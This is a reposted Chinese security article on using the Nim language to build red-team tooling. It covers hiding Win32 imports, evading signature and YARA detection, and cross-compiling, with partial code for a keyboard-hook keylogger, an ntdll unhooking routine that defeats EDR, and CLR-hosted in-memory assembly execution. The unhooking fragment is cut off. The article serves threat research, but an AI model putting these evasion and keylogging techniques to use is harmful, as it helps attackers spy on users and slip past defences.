服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - 编程技术 - Nim语言在蓝军实战中的研究总结

Nim语言在蓝军实战中的研究总结

2022-04-18 22:53FreeBuf绿盟科技 编程技术

在使用C\C++ 实现该功能时,需要对clr进行初始化。而在Nim中的winim库,将clr的初始化相关工作都已经进行了处理,对开发者更加友好,减少了开发者的工作量。

技术背景

随着计算机技术的发展,计算机研究人员根据现有语言的缺陷,尝试创造出更好的编程语言,而新技术在造福计算机社区的同时,往往会被攻击组织所盯上,成为攻击者的崭新的武器开发语言。

对传统的安全检测设备和安全研究人员而言,新语言相对晦涩且冷门,具有语言本身的特性。在面对传统的安全措施时,绕过更加轻松,使得安全设备增大识别和检测难度,大大增加安全防御成本。

在这些新的编程语言中,Nim语言尤其受到了攻击者的青睐。其中,APT组织TA800在攻击中多次使用Nim语言开发的NimzaLoader下载器;APT28组织的攻击工具Zebrocy用Nim语言进行重构等。

本文将从蓝军研究人员的角度对Nim语言的优势和利用面进行分析,希望能对读者有所启发。

Nim语言优势分析

1. 语言本身的优势

相较于其他同类语言,Nim拥有更简洁的语法,执行性能上也有所提高。类脚本语言式的语法和封装完善的内部函数降低了开发难度,更低的开发成本缩短了武器化项目开发周期。

效率上

如下图,在求0到1亿的秋水仙数时,Nim的速度跟C语言不分伯仲,且比python快得多:

Nim语言在蓝军实战中的研究总结

可读性上

在语法和表达上,比起类C的语言需要有大括号和分号(比如JavaScript和C++),Nim语言更加地简洁和易读,同时也不具备Ruby语言的do和end等。

C++语言和Nim语言实现0到9的循环代码,对比如下:

# Nim语言实现0-9的循环输出
for i in 0 .. <10: echo(i)
// C++ 实现0-9的输出
#include <iostream> using namespace std; int main() { for (int i = 0; i < 10; i++) { cout << i << endl; } return 0; }

兼顾OPSEC特性的Win32 API调用

外部函数接口:指的是一种机制,使用一种编程语言编写的程序可以调用用另一种编程语言编写的服务(比如在Nim语言中可以调用使用C/C++编写的Messagebox函数)。

Nim有成熟的外部函数接口技术(FFI,使得Nim语言与Windows API交互的时候,具有OPSEC的特性,即使用Nim编写的程序的外部导入函数不会真正显示在可执行文件的静态导入表中 。对比如下:

使用C语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:

#include <windows.h> int main(int argc, char* argv[]) { MessageBoxA(0, "Hello, world !", "MessageBox Example", 0); WinExec("calc.exe", SW_SHOW); return 0; }

查看C语言编程生成的exe文件的导出表,可以发现我们执行的Windows Api函数:

Nim语言在蓝军实战中的研究总结

使用Nim语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:

proc MessageBoxA*(hWnd: int, lpText: cstring, lpCaption: cstring, uType: int32): int32 {.discardable, stdcall, dynlib: "user'32", importc.} MessageBoxA(0, "Hello, world !", "MessageBox Example", 0) proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32 {.discardable,stdcall,dynlib:"kernel32",importc.} WinExec("calc.exe",0)

查看Nim语言生成的exe文件的导出表,没有发现相关的Windows Api函数。

Nim语言在蓝军实战中的研究总结

2. 分析对抗优势

对抗特征码检测

特征码和哈希检测在恶意软件检测手法中占据一席之地。研究者从程序中提取特征码和哈希,编写yara规则,实现对恶意软件的匹配和检测。

使用Nim语言重写能使现存基于C/C++等语言的恶意程序重获新生。这些程序的原始版本大多被各种静态特征标记,而使用Nim重构后的程序无论是签名哈希还是特征码都会有所变化,达到绕过规则检测的效果。

自带混淆效果

Nim等新兴语言对传统分析者来说相对不熟悉与晦涩,针对性的分析工具的缺失,更使得新兴语言本身几乎自带混淆效果。golang曾因其二进制的特殊性被武器开发者青睐,但随着诸如IDAGolangHelper的分析插件逐渐完善,分析成本已显著降低。针对Nim语言二进制文件的分析工具目前还不完善,其作为新兴语言的红利期尚未结束。比起常见的高级语言和其他新兴语言,Nim语言给分析人员带来了更大的逆向难度和成本,相关的安全措施也尚不成熟,这也就导致了越来越多的武器开发者利用Nim语言等新兴语言编写加载器,用于部署RAT或Cobalt Strike等攻击软件。

3. 交叉编译和支持跨平台优势

Nim语言支持交叉编译,降低了攻击者在制作、投递不同架构的软件的的成本,攻击者无需考虑由于架构不同所造成的问题,只需要修改少量代码就可以生成可以在不同系统上执行的病毒,能极大地扩大攻击面,降低开发成本。

在windows平台下编译在arm架构下的linux程序:

nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim

执行完后生成多个文件,将其复制到linux系统中,将nimbase.h也一并拷贝。

Nim语言在蓝军实战中的研究总结

在linux中执行该sh文件,生成linux下的可执行文件并成功执行:

Nim语言在蓝军实战中的研究总结

4. 更多优势

可执行文件大小优化

使用参数 -d:danger -d:strip --opt:size 对程序的大小有显著的优化。

过程如下,执行命令:

nim c -d:danger -d:strip --opt:size .\begin.nim

如下图,大小从204KB减少至39.5KB:

Nim语言在蓝军实战中的研究总结

方便的winim库

Nim的第三方库winim提供了方便的Windows Api调用方法,提高了开发的效率,并且在使用winim和不使用winim的情况下两者的大小区别并不大。

Nim语言基本语法

Nim的语法简洁易读,基本的语法语法使用如下:更多的语法性质可上Nim官方文档查询。

# 1. 打印输出
echo "Hello World" # 2. 变量声明和赋值 - 变量名:变量类型
var var1: int # int类型
var var2: string  # 字符串类型
var1 = 3 var2 = "str" # 3. 控制流
# 3.1 if-else
if var1 == 3: echo "True" elif var1 > 3: echo "bigger" elif var1 < 3: echo "smaller" # 3.2 switch case
case var1
of 3: echo "Case:Yes,it's 3" else: echo "Case:No,it isn't 3" # 3.3 for countup是迭代器,相当于python的range
for i in countup(1,10): echo i
# 3.4 while,break 用法,与python相近
while var1 == 3: echo "while:Yes,it's 3" break
# 4. Procedures 使用,相当于 函数
# discardable 用于 声明 返回值类型为 “丢弃”
proc Addpro(x, y: int): int {.discardable.} = return x + y
echo(Addpro(3, 4)) # 输出返回值
# 5. 高级数组类型
# 5.1 数组类型,大小固定不变
type
IntArray = array[1..5, int] # 索引从1到5,元素数量为5个
var arr: IntArray
arr = [5,10,15,20,25] for index, val in arr: echo "Index: ", index, " Value = ", val
# 5.2 sep序列类型,相当于动态数组或python的list
var arrSep: seq[int] # 
arrSep = @[5,10] # 赋值方式和数组一样用[],但前面多了个@符号
echo arrSep
# ... 有更多结构体在nim官方文档可查
# 6. 引用和指针
type                        # 自定义一个对象,相当于结构体
MyObj = object
name: string
age: int var obj1: MyObj
obj1 = MyObj(name:"I",age:12) echo obj1
echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8 # 7. FFI使用,Nim语言最终编译成C语言,所以使用FFI很方便
proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.} let cmp = strcmp("C?", "Easy!") echo cmp

Nim在蓝军武器中的实例

1. 键盘记录器

使用Nim实现对Windows Api的调用,实现对键盘操作的hook,完成键盘记录器。部分代码如下:

elif keycode in KeyDict: keypressed = KeyDict.getOrDefault(keycode) else: var capped: bool = (GetKeyState(20) != 0) if (capped and shifted) or not (capped or shifted): keypressed = $toLowerAscii(chr(ord(keycode))) else: keypressed = $toUpperAscii(chr(ord(keycode))) echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']" return CallNextHookEx(0, nCode, wParam, lParam) # hook键盘的函数
var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)

效果如下:

Nim语言在蓝军实战中的研究总结

2. 躲避EDR检测的unhook dll实现

unhook dll中利用新映射的dll的.text区块复制到原本被hook的虚拟地址,实现覆盖,解除edr对dll的hook,实现edr的检测规避。

在Nim中,存在Emit pragma ,可直接在Nim中嵌入C/C++代码。通过该语法将unhook dll相关代码嵌入,实现调用。

我们在Nim中直接调用相关C++代码,部分代码如下:使用emit实现C++代码嵌入。

>VirtualAddress), hookedSectionHeader->Misc.VirtualSize, memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWOR
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, } } CloseHandle(process); CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); return 0; }

3. CLR Hosting执行shellcode

利用CLR 托管,可以实现在内存中加载.Net 程序集,是一种隐匿的shellcode执行方式。

在使用C\C++ 实现该功能时,需要对clr进行初始化。而在Nim中的winim库,将clr的初始化相关工作都已经进行了处理,对开发者更加友好,减少了开发者的工作量。

相关代码如下:

import winim/clr
var buf: array[,byte] = [...] # 省略要执行的assembly
var assembly = load(buf) var arr = toCLRVariant(commandLineParams(), VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

总结

Nim语言的新颖和其语言特性,在混淆、隐匿、免杀、开发等方面都有一定的优势,尤其适用于制作Loader和Dropper等武器化工具,在面对安全产品和安全措施时有一定的防御规避作用,攻击者的使用频率增大,警醒我们去做更多的研究,值得我们去挖掘其中更多的可能性。

原文地址:https://www.freebuf.com/articles/network/328190.html

延伸 · 阅读

精彩推荐
  • 编程技术Delphi - Indy idMessage和idSMTP实现邮件的发送

    Delphi - Indy idMessage和idSMTP实现邮件的发送

    这篇文章主要介绍了Delphi - Indy idMessage和idSMTP实现邮件的发送,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下...

    JJ_JeremyWu6592020-09-22
  • 编程技术从Context源码实现谈React性能优化

    从Context源码实现谈React性能优化

    这篇文章主要介绍Context的实现原理,源码层面掌握React组件的render时机,从而写出高性能的React组件,源码层面了解shouldComponentUpdate、React.memo、PureComponen...

    魔术师卡颂5312020-12-20
  • 编程技术真正聪明的程序员,总有办法不加班

    真正聪明的程序员,总有办法不加班

    工作效率提升了,就可以少加班了,聪明的程序员,总会有一堆可以提升编码效率的工具?当一种工具满足不了工作需求,就去探索新的,今天纬小创就给...

    今日头条12482021-03-04
  • 编程技术AIOps,SRE工程师手中的利器

    AIOps,SRE工程师手中的利器

    AIOps开始成为一种极为重要的站点可靠性工程工具。它能够高效吸纳观察数据、参与数据以及来自第三方工具的数据,判断系统运行状态并保证其处于最佳...

    至顶网5972021-03-08
  • 编程技术让开发效率倍增的 VS Code 插件

    让开发效率倍增的 VS Code 插件

    今天来分享一些提升开发效率的实用 VS Code 插件!Better Comments 扩展可以帮助我们在代码中创建更人性化的注释,有不同形式和颜色的注释供我们选择。 ...

    前端充电宝7132022-04-21
  • 编程技术简单、好懂的Svelte实现原理

    简单、好懂的Svelte实现原理

    本文会围绕一张流程图和两个Demo讲解,正确的食用方式是用电脑打开本文,跟着流程图、Demo一边看、一边敲、一边学...

    魔术师卡颂4822021-11-10
  • 编程技术用户态 Tcpdump 如何实现抓到内核网络包的?

    用户态 Tcpdump 如何实现抓到内核网络包的?

    在网络包的发送和接收过程中,绝大部分的工作都是在内核态完成的。那么问题来了,我们常用的运行在用户态的程序 tcpdump 是那如何实现抓到内核态的包...

    开发内功修炼11612021-09-08
  • 编程技术2021年值得关注的React PDF 库

    2021年值得关注的React PDF 库

    今天,许多网络应用程序为其用户提供内置的PDF浏览选项。然而,选择一个并不容易,因为它们的功能远远超过显示PDF。在这篇文章中,我将评估5个React的...

    TianTianUp5232021-06-21